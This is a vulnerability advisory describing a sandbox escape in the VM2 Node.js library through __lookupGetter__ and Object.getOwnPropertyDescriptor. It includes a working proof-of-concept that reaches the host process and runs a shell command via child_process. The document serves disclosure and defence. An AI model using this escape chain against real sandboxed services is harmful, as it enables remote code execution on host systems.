VM2 Sandbox Breakout Through __lookupGetter__

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The __lookupGetter__ method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context. This allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host apply method which can be accessed through Buffer.apply. Afterwards, this function can be used to call the host version of __lookupGetter__ with Buffer and __proto__ resulting in the prototype lookup method from the host context. With this method the hosts Function.prototype object can be retrieved and the host Function acquired through the constructor property which allows to create and run code in the host context. This issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using Object.getOwnPropertyDescriptor to get the constructor property.

PoC

The following code demonstrates this issue by acquiring the host process object and executing touch pwned.

const {VM} = require("vm2");
const vm = new VM();
vm.run(`
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned');
`);

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.